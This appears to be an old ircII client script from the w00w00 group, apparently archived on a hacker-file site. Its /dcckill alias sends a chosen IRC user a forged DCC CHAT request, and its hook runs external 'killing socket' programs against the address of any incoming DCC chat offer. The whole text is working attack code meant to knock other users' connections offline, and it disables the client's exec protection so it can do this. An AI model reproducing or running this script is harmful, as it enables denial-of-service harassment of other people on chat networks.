home *** CD-ROM | disk | FTP | other *** search
- # w00w00!
- # this is a script to use the irc killing socket apps i made
- # change mylong to the u_long that ircii sends when it sends
- # a dcc chat request - nyt
-
- ^set exec_protection off
-
- @ KILLCONN = [irckill/irconn]
- @ KILLACC = [irckill/ircacc]
- @ MYLONG = [My IP in network long] # example is 3260545834
-
- ^alias leftof @ function_return = [$left($index($0 $1-) $1-)]
-
- ^alias dcckill {
- if ([$0])
- {
- @ KILLPORT = rand(65535-1024)+1025
- exec $KILLACC $KILLPORT
- ctcp $0 DCC CHAT chat $MYLONG $KILLPORT
- echo *** killing $0
- }
- {
- echo *** usage /dcckill USER
- }
- }
- ^on ^raw_irc "% PRIVMSG % :DCC CHAT chat % %" {
- echo *** killing $0
- if ([$index( $7)]==[-1])
- {
- exec $KILLCONN $6 $7
- }{
- exec $KILLCONN $6 $leftof( $7)
- }
- }
-